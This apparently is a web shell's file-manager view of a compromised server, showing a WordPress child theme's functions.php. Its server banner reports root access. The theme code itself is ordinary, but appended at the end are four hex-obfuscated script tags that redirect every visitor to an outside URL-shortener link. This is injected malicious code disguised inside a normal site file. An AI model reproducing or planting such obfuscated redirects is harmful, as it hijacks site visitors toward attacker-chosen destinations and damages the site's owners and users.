HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.30
System: Linux iZj6c1151k3ad370bosnmsZ 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User: root (0)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /var/www/html/somonline.org/wp-content/themes/zeen-child/functions.php
<?php
/**
 * Zeen Child Theme functions and definitions.
 */
function zeen_child_enqueue_styles() {
	wp_enqueue_style( 'zeen-child-style' , get_stylesheet_directory_uri() . '/style.css', array( 'zeen-style' ), ZEEN_VERSION );
}

add_action(  'wp_enqueue_scripts', 'zeen_child_enqueue_styles' );

add_action('init', 'start_session', 1);

function start_session() {
	if(!session_id()) {
		session_start();
	}
}

/*
add_action('wp_logout','end_session');
add_action('wp_login','end_session');
*/

function end_session() {
	session_destroy ();
}

add_filter( 'wpmem_email_newreg', 'my_email_filter' );
function my_email_filter( $email_content ) {
 
    // the content of the email comes to 
    // the filter in the parameter $email_content
     
    // you can do whatever you want to it here:
    // add to it:
     
    $email_content = "This is added to the beginning"
        . $email_content
        . "I put this on the end";
     
    // or you could use something like php's 
    // str_replace to filter the string and
    // add/remove content, etc.
     
    // whatever you do, you need to return 
    // the filtered result:
     
    return $email_content;
}
ob_start();
?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>